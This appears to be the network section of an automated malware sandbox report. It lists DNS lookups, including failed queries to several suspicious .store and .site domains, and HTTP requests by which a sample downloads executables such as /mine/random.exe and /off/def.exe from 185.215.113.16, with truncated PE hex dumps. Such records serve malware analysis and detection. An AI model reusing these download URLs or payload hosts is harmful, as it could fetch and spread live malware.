Oct 23, 2024 17:52:01.039531946 CEST	1.1.1.1	192.168.2.6	0x84c7	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:02.727849007 CEST	1.1.1.1	192.168.2.6	0xf3b4	No error (0)	youtube.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:02.743668079 CEST	1.1.1.1	192.168.2.6	0xf8e	No error (0)	youtube.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:02.757106066 CEST	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 23, 2024 17:52:03.309706926 CEST	1.1.1.1	192.168.2.6	0x3df6	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:03.309706926 CEST	1.1.1.1	192.168.2.6	0x3df6	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.325797081 CEST	1.1.1.1	192.168.2.6	0xb642	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.356218100 CEST	1.1.1.1	192.168.2.6	0x7c51	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 23, 2024 17:52:03.971626043 CEST	1.1.1.1	192.168.2.6	0xfc8f	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.973164082 CEST	1.1.1.1	192.168.2.6	0xbf51	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:03.973164082 CEST	1.1.1.1	192.168.2.6	0xbf51	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.980391979 CEST	1.1.1.1	192.168.2.6	0xd2d9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.984935045 CEST	1.1.1.1	192.168.2.6	0xae4d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.659626007 CEST	1.1.1.1	192.168.2.6	0x32f1	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.659868956 CEST	1.1.1.1	192.168.2.6	0x5eea	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:07.659868956 CEST	1.1.1.1	192.168.2.6	0x5eea	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.681617022 CEST	1.1.1.1	192.168.2.6	0xe2af	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.681617022 CEST	1.1.1.1	192.168.2.6	0xe2af	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.688966990 CEST	1.1.1.1	192.168.2.6	0x536	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:07.688966990 CEST	1.1.1.1	192.168.2.6	0x536	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.692843914 CEST	1.1.1.1	192.168.2.6	0x203f	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.720172882 CEST	1.1.1.1	192.168.2.6	0x3731	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:07.740921974 CEST	1.1.1.1	192.168.2.6	0xdd68	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:07.740921974 CEST	1.1.1.1	192.168.2.6	0xdd68	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:07.740921974 CEST	1.1.1.1	192.168.2.6	0xdd68	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.751416922 CEST	1.1.1.1	192.168.2.6	0xb962	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.759840012 CEST	1.1.1.1	192.168.2.6	0x9c85	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 23, 2024 17:52:34.083318949 CEST	1.1.1.1	192.168.2.6	0x2a96	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.100147009 CEST	1.1.1.1	192.168.2.6	0x3fae	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:34.100147009 CEST	1.1.1.1	192.168.2.6	0x3fae	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.111155033 CEST	1.1.1.1	192.168.2.6	0xdaeb	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.113610983 CEST	1.1.1.1	192.168.2.6	0x9857	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.136357069 CEST	1.1.1.1	192.168.2.6	0xd6ab	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:34.136357069 CEST	1.1.1.1	192.168.2.6	0xd6ab	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.145838976 CEST	1.1.1.1	192.168.2.6	0x9857	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.160098076 CEST	1.1.1.1	192.168.2.6	0xecee	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.173580885 CEST	1.1.1.1	192.168.2.6	0xcfb3	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.185008049 CEST	1.1.1.1	192.168.2.6	0xf49a	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.197089911 CEST	1.1.1.1	192.168.2.6	0xdc16	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.209794998 CEST	1.1.1.1	192.168.2.6	0xcb34	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.223366022 CEST	1.1.1.1	192.168.2.6	0xedce	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.235711098 CEST	1.1.1.1	192.168.2.6	0x557f	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:35.112312078 CEST	1.1.1.1	192.168.2.6	0x98eb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:35.112312078 CEST	1.1.1.1	192.168.2.6	0x98eb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:37.610510111 CEST	1.1.1.1	192.168.2.6	0x59cd	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:37.610510111 CEST	1.1.1.1	192.168.2.6	0x59cd	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:52:37.610510111 CEST	1.1.1.1	192.168.2.6	0x59cd	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:37.619198084 CEST	1.1.1.1	192.168.2.6	0x6ca9	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:00.192687988 CEST	1.1.1.1	192.168.2.6	0xdf39	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:00.210052967 CEST	1.1.1.1	192.168.2.6	0xdf39	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:00.676717997 CEST	1.1.1.1	192.168.2.6	0x1049	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:53:00.676717997 CEST	1.1.1.1	192.168.2.6	0x1049	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:00.912328959 CEST	1.1.1.1	192.168.2.6	0x56f3	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:53:00.912328959 CEST	1.1.1.1	192.168.2.6	0x56f3	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:00.935563087 CEST	1.1.1.1	192.168.2.6	0xa18a	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:53:01.022805929 CEST	1.1.1.1	192.168.2.6	0x5ad5	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:53:01.022805929 CEST	1.1.1.1	192.168.2.6	0x5ad5	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:18.901849985 CEST	1.1.1.1	192.168.2.6	0x20c8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 23, 2024 17:53:29.758253098 CEST	1.1.1.1	192.168.2.6	0xb444	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.769380093 CEST	1.1.1.1	192.168.2.6	0x487d	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.769380093 CEST	1.1.1.1	192.168.2.6	0x487d	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.769380093 CEST	1.1.1.1	192.168.2.6	0x487d	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.769380093 CEST	1.1.1.1	192.168.2.6	0x487d	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.772957087 CEST	1.1.1.1	192.168.2.6	0xb444	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.777026892 CEST	1.1.1.1	192.168.2.6	0xd8db	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:53:29.777026892 CEST	1.1.1.1	192.168.2.6	0xd8db	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.792346954 CEST	1.1.1.1	192.168.2.6	0x487d	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.792346954 CEST	1.1.1.1	192.168.2.6	0x487d	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.792346954 CEST	1.1.1.1	192.168.2.6	0x487d	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.792346954 CEST	1.1.1.1	192.168.2.6	0x487d	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.812913895 CEST	1.1.1.1	192.168.2.6	0xd8db	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:53:29.812913895 CEST	1.1.1.1	192.168.2.6	0xd8db	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.817955971 CEST	1.1.1.1	192.168.2.6	0x426f	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.817955971 CEST	1.1.1.1	192.168.2.6	0x426f	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.817955971 CEST	1.1.1.1	192.168.2.6	0x426f	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.817955971 CEST	1.1.1.1	192.168.2.6	0x426f	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.821468115 CEST	1.1.1.1	192.168.2.6	0xb823	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.862792015 CEST	1.1.1.1	192.168.2.6	0x426f	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.862792015 CEST	1.1.1.1	192.168.2.6	0x426f	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.862792015 CEST	1.1.1.1	192.168.2.6	0x426f	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.862792015 CEST	1.1.1.1	192.168.2.6	0x426f	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:31.085499048 CEST	1.1.1.1	192.168.2.6	0x2e2d	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:53:31.085499048 CEST	1.1.1.1	192.168.2.6	0x2e2d	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:53:32.415266991 CEST	1.1.1.1	192.168.2.6	0x3544	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 23, 2024 17:53:32.415266991 CEST	1.1.1.1	192.168.2.6	0x3544	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49763	185.215.113.16	80	2224	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:19.604743958 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 23, 2024 17:51:20.508383036 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:20 GMT Content-Type: application/octet-stream Content-Length: 1925632 Last-Modified: Wed, 23 Oct 2024 15:37:20 GMT Connection: keep-alive ETag: "67191830-1d6200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfPL@L\@Wk(7L6L @.rsrc@.idata @ @+@toioyzgtP1H@nacjdqiu@L<@.taggant0PL"@@
Oct 23, 2024 17:51:20.508418083 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:20.508434057 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:20.508470058 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:20.508486032 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:20.508513927 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: seO]sxhsh)NJySo/]sxL%pph1=>X<:s[*(Mlq,J
Oct 23, 2024 17:51:20.508528948 CEST	1236	IN	Data Raw: f3 93 7c f9 db 78 0c f8 3b 9b f5 10 0a df 98 01 e0 12 52 bd 1b 0f 47 68 fc 0b a8 55 b4 97 b1 0f 6a 9a 58 57 d5 3c a9 d9 1f aa 08 8b b9 98 97 05 b4 1c 0c 1e ac ad 90 3d cd 7b ba a5 90 13 e6 fd cb 62 98 bd bf 4f b5 84 30 4d 78 96 7a 6a 48 dd c3 93 Data Ascii: \|x;RGhUjXW<={bO0MxzjHD8ugoPDw%=Uw1q;F+`mXE7XZ<<=+?\(93>%yzFQ1[hiKXO/MB'i%F
Oct 23, 2024 17:51:20.508544922 CEST	1236	IN	Data Raw: 3a 5a 17 1a 43 5b b9 bd 56 87 33 bc c2 f3 fe 25 72 aa 5a b8 f3 ca fd e5 8c 3e 71 9b c3 12 42 c4 8f 2a a0 b8 7b b0 6d cd 39 71 b0 d9 4a 9d cc a7 b3 d0 0c ce 6d a7 f0 d9 3c 18 49 1f 4c 8f 13 03 20 f3 b6 27 63 73 0a 3e 6e 6c fd 12 80 9b 9a b8 00 7b Data Ascii: :ZC[V3%rZ>qB{m9qJm<IL 'cs>nl{bkp SHjH!X TEl9QBOiM.]lDMQ`~,PfjT8*]oSi8[`yMX#Q;#%
Oct 23, 2024 17:51:20.508564949 CEST	1236	IN	Data Raw: 7a 53 2a 70 75 3b 2d 16 53 91 18 ab 99 75 bc 54 bc b7 e2 a5 7c 3c f0 af 12 0e 21 ac a4 65 30 a4 12 53 f8 49 a1 b8 8d 6a b0 8f e9 c1 1b 52 00 73 c3 49 17 be aa aa 7a b4 36 91 b4 a9 df 75 86 32 c0 63 20 63 f7 d1 d4 d9 e8 73 e7 a9 98 5f 76 d2 d4 bf Data Ascii: zSpu;-SuT\|<!e0SIjRsIz6u2c cs_vH+eJ[?wJA?mA9UJ,U~KJ%P~Q.?s5Ow%-=!5d7AsK4=xmTaBbF07a!a-bT/t>'/7F9h'
Oct 23, 2024 17:51:20.508575916 CEST	248	IN	Data Raw: 2a 95 7d b9 34 1d 88 8f aa c4 ff 95 27 3d 0d 33 ad 5f 8f a0 ec e7 99 3e fa e7 89 b8 b3 61 3c 80 eb 81 00 46 1c ca ff c8 a9 7c 02 bd e2 fa 7a ce 2c 82 28 92 e6 98 09 2a 4c b6 c7 66 68 71 8e 51 64 9d 9e a0 bb 69 97 be b7 14 ad 60 ed fb 02 f8 0e 0c Data Ascii: }4'=3_>a<F\|z,(LfhqQdi`o:VdRDkBQu\w}]A<FAteL -T&>wb}RN=i]:JeG{lY` kY8Y8&Y8LAjW:'crJzf
Oct 23, 2024 17:51:20.514152050 CEST	1236	IN	Data Raw: 6b 69 b0 f9 5a 2e 15 89 ee fd 60 23 e8 f3 64 59 b0 c1 6a df 34 bd 91 10 c5 84 64 a7 8b 1b c5 d9 2a 0c ce 54 d0 4c a1 bf ce 1b 50 ca bd 3f 51 fa bb ad 91 bd 04 ba 6f 4d 05 aa 0a 12 cc 63 fc 75 56 95 46 79 f4 43 e8 3e 5e d3 54 73 2e 5d d4 c4 ba 51 Data Ascii: kiZ.`#dYj4d*TLP?QoMcuVFyC>^Ts.]QPVOInZ-arLyT: ,P`#_ry-;6GxwB_-]3""P\|-}9-7?\,REG@ZW@&\|4n
Oct 23, 2024 17:51:26.078912973 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 23, 2024 17:51:26.358756065 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:26 GMT Content-Type: application/octet-stream Content-Length: 1833984 Last-Modified: Wed, 23 Oct 2024 15:37:13 GMT Connection: keep-alive ETag: "67191829-1bfc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 69 00 00 04 00 00 d1 e0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$Pi@i@P%d% %(@.rsrc %8@.idata %8@ )%:@iadgvtjqO<@xuvqjoqm@i@.taggant0Pi"@
Oct 23, 2024 17:51:28.439032078 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 23, 2024 17:51:28.717057943 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:28 GMT Content-Type: application/octet-stream Content-Length: 2817536 Last-Modified: Wed, 23 Oct 2024 15:44:06 GMT Connection: keep-alive ETag: "671919c6-2afe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 de 72 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +r+`Ui` @ @.rsrc`2@.idata 8@zsdjwali*:@xurnmcxc @+@.taggant@`+"*@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49847	185.215.113.37	80	5636	C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:35.247762918 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
